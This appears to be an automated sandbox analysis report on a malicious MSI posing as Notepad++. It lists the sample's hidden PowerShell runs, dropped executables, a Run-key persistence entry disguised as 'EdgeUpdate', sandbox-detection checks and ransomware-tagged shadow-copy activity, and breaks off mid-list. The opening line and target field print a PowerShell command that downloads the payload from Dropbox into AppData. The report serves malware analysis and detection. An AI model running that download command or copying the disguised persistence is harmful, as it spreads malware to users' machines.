hxxps://www[.]dropbox[.]com/scl/fi/n5l4qo68ac2k2ap86x03g/notepadpp[.]msi?rlkey=mlshxjyusg0hg2a46cdcvb22k&st=oas2wou2&dl=1' -OutFile "$env[:]appdata\securupd[.]msi"

Analysis

user interaction
yes
max time kernel
300s
max time network
298s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
20/06/2026, 05:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://www.dropbox.com/scl/fi/n5l4qo68ac2k2ap86x03g/notepadpp.msi?rlkey=mlshxjyusg0hg2a46cdcvb22k&st=oas2wou2&dl=1' -OutFile "$env:appdata\securupd.msi"
Sample260620-fxkmesev6s

Score

8^/10

discovery execution persistence ransomware

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5660	powershell.exe
108	powershell.exe
5708	powershell.exe
2476	powershell.exe
1232	powershell.exe
5580	powershell.exe
4768	powershell.exe
5560	powershell.exe
3272	powershell.exe
3432	powershell.exe
108	powershell.exe
2476	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3720	node.exe
3112	VSrEhyNu.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Windows\CurrentVersion\Run\EdgeUpdate = "\"C:\\Users\\Admin\\AppData\\Local\\3H2bPuqDuapW\\jJYRKV\\node.exe\" \"C:\\Users\\Admin\\AppData\\Local\\3H2bPuqDuapW\\TubyvFf9Lr.ini\""	msiexec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\Installer\e58c35b.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF4C8875505F9A7B76.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC3C8.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DFEC4B9FD4D0B6E227.TMP	msiexec.exe
File created	C:\Windows\Installer\e58c35b.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{98001713-8560-4951-9B39-4EC1CA0A7051}	msiexec.exe
File created	C:\Windows\SystemTemp\~DF1E1A50203A39C323.TMP	msiexec.exe
File created	C:\Windows\Installer\e58c35d.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF807595D5ECA8CAC8.TMP	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5132	chrome.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000009849ce13e51016660000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff0000000027010100000800009849ce130000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff0000000007000100006809009849ce13000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a9849ce13000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d9849ce13000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	VSrEhyNu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	VSrEhyNu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	VSrEhyNu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	VSrEhyNu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	VSrEhyNu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	VSrEhyNu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	VSrEhyNu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	VSrEhyNu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	VSrEhyNu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	VSrEhyNu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	VSrEhyNu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	VSrEhyNu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	VSrEhyNu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	VSrEhyNu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	VSrEhyNu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	VSrEhyNu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	VSrEhyNu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	VSrEhyNu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	VSrEhyNu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	VSrEhyNu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	VSrEhyNu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	VSrEhyNu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	VSrEhyNu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	VSrEhyNu.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134264061223608950"	chrome.exe

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000_Classes\Local Settings	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\DisplayName = "Chrome Sandbox"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Moniker = "cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Children	chrome.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\notepadpp.msi:Zone.Identifier	chrome.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 38 IoCs

pid	Process
2444	chrome.exe
2444	chrome.exe
4396	msiexec.exe
4396	msiexec.exe
2444	chrome.exe
2444	chrome.exe
3432	powershell.exe
3432	powershell.exe
3432	powershell.exe
5580	powershell.exe
5580	powershell.exe
5580	powershell.exe
5660	powershell.exe
5660	powershell.exe
5660	powershell.exe
108	powershell.exe
108	powershell.exe
108	powershell.exe
4768	powershell.exe
4768	powershell.exe
4768	powershell.exe
5560	powershell.exe
5560	powershell.exe
5560	powershell.exe
5708	powershell.exe
5708	powershell.exe
5708	powershell.exe
2476	powershell.exe
2476	powershell.exe
2476	powershell.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe
1232	powershell.exe
1232	powershell.exe
1232	powershell.exe
4552	chrome.exe
4552	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe
Token: SeShutdownPrivilege	2444	chrome.exe
Token: SeCreatePagefilePrivilege	2444	chrome.exe

Suspicious use of FindShellTrayWindow 44 IoCs

pid	Process
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
5848	msiexec.exe
5848	msiexec.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe
2444	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2444 wrote to memory of 2480	2444	chrome.exe	79
PID 2444 wrote to memory of 5132	2444	chrome.exe	80
PID 2444 wrote to memory of 2588	2444	chrome.exe	81
PID 2444 wrote to memory of 2588	2444	chrome.exe	81
PID 2444 wrote to memory of 4932	2444	chrome.exe	82
PID 2444 wrote to memory of 4932	2444	chrome.exe	82
PID 2444 wrote to memory of 5940	2444	chrome.exe	84
PID 2444 wrote to memory of 5940	2444	chrome.exe	84
PID 2444 wrote to memory of 6024	2444	chrome.exe	85
PID 2444 wrote to memory of 6024	2444	chrome.exe	85
PID 2444 wrote to memory of 712	2444	chrome.exe	87
PID 2444 wrote to memory of 712	2444	chrome.exe	87
PID 2444 wrote to memory of 4920	2444	chrome.exe	88
PID 2444 wrote to memory of 4920	2444	chrome.exe	88
PID 2444 wrote to memory of 3744	2444	chrome.exe	89
PID 2444 wrote to memory of 2968	2444	chrome.exe	91
PID 2444 wrote to memory of 2968	2444	chrome.exe	91
PID 2444 wrote to memory of 1988	2444	chrome.exe	92
PID 2444 wrote to memory of 1988	2444	chrome.exe	92
PID 2444 wrote to memory of 3720	2444	chrome.exe	93
PID 2444 wrote to memory of 3720	2444	chrome.exe	93
PID 2444 wrote to memory of 6040	2444	chrome.exe	94
PID 2444 wrote to memory of 6040	2444	chrome.exe	94
PID 2444 wrote to memory of 4604	2444	chrome.exe	95
PID 2444 wrote to memory of 4556	2444	chrome.exe	97
PID 2444 wrote to memory of 3116	2444	chrome.exe	98
PID 2444 wrote to memory of 3184	2444	chrome.exe	99
PID 4396 wrote to memory of 3732	4396	msiexec.exe	105
PID 4396 wrote to memory of 1916	4396	msiexec.exe	107
PID 1916 wrote to memory of 688	1916	conhost.exe	108
PID 688 wrote to memory of 2668	688	cmd.exe	109
PID 2668 wrote to memory of 2932	2668	conhost.exe	110
PID 2932 wrote to memory of 5316	2932	cmd.exe	111
PID 2932 wrote to memory of 1188	2932	cmd.exe	112
PID 2932 wrote to memory of 444	2932	cmd.exe	114
PID 2932 wrote to memory of 5916	2932	cmd.exe	115
PID 5916 wrote to memory of 3720	5916	conhost.exe	116
PID 3720 wrote to memory of 3112	3720	node.exe	117
PID 3112 wrote to memory of 1768	3112	VSrEhyNu.exe	119
PID 1768 wrote to memory of 3432	1768	cmd.exe	121
PID 3112 wrote to memory of 5368	3112	VSrEhyNu.exe	122
PID 5368 wrote to memory of 5580	5368	cmd.exe	124
PID 3112 wrote to memory of 1920	3112	VSrEhyNu.exe	125
PID 1920 wrote to memory of 5660	1920	cmd.exe	127
PID 3112 wrote to memory of 5508	3112	VSrEhyNu.exe	128
PID 5508 wrote to memory of 108	5508	cmd.exe	130
PID 3112 wrote to memory of 1616	3112	VSrEhyNu.exe	131
PID 1616 wrote to memory of 4768	1616	cmd.exe	133
PID 3112 wrote to memory of 5740	3112	VSrEhyNu.exe	134
PID 5740 wrote to memory of 5560	5740	cmd.exe	136
PID 3112 wrote to memory of 3412	3112	VSrEhyNu.exe	137
PID 3412 wrote to memory of 432	3412	cmd.exe	139
PID 432 wrote to memory of 1984	432	net.exe	140
PID 3112 wrote to memory of 4488	3112	VSrEhyNu.exe	141
PID 4488 wrote to memory of 3568	4488	cmd.exe	143
PID 3112 wrote to memory of 3588	3112	VSrEhyNu.exe	144
PID 3588 wrote to memory of 2392	3588	cmd.exe	146
PID 3112 wrote to memory of 2596	3112	VSrEhyNu.exe	147
PID 2596 wrote to memory of 5708	2596	cmd.exe	149
PID 3112 wrote to memory of 1452	3112	VSrEhyNu.exe	150
PID 1452 wrote to memory of 2476	1452	cmd.exe	152
PID 3112 wrote to memory of 4832	3112	VSrEhyNu.exe	153
PID 4832 wrote to memory of 3272	4832	cmd.exe	155
PID 3112 wrote to memory of 1400	3112	VSrEhyNu.exe	156

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://www.dropbox.com/scl/fi/n5l4qo68ac2k2ap86x03g/notepadpp.msi?rlkey=mlshxjyusg0hg2a46cdcvb22k&st=oas2wou2&dl=1' -OutFile "$env:appdata\securupd.msi"
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2444
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbb4b1c728,0x7ffbb4b1c734,0x7ffbb4b1c740
  2⤵
  PID:2480
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1452,i,405576214753729773,1452342779043329685,524288 --field-trial-handle=2060,i,15371753090605473699,4477443738392338627,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2088 /prefetch:11
  2⤵
  - System Time Discovery
  PID:5132
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1592,i,5509889711189342750,4719470717055841811,262144 --field-trial-handle=2060,i,15371753090605473699,4477443738392338627,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2056 /prefetch:2
  2⤵
  PID:2588
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2348,i,4757082585797459861,14249478554311826341,524288 --field-trial-handle=2060,i,15371753090605473699,4477443738392338627,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2360 /prefetch:13
  2⤵
  PID:4932
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3212,i,10043969273168818764,17669383365972671663,2097152 --field-trial-handle=2060,i,15371753090605473699,4477443738392338627,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3268 /prefetch:1
  2⤵
  PID:5940
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3216,i,13128843027815038648,7071220140475121724,2097152 --field-trial-handle=2060,i,15371753090605473699,4477443738392338627,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3292 /prefetch:1
  2⤵
  PID:6024
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4312,i,14983190771267296375,1331282641857772033,2097152 --field-trial-handle=2060,i,15371753090605473699,4477443738392338627,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4328 /prefetch:9
  2⤵
  PID:712
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4588,i,10013532986281212001,1052094699101409794,2097152 --field-trial-handle=2060,i,15371753090605473699,4477443738392338627,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4732 /prefetch:1
  2⤵
  PID:4920
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5748,i,14168752352455172528,4759195995430967350,524288 --field-trial-handle=2060,i,15371753090605473699,4477443738392338627,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5768 /prefetch:14
  2⤵
  PID:3744
- C:\Program Files\Google\Chrome\Application\chrome.exe
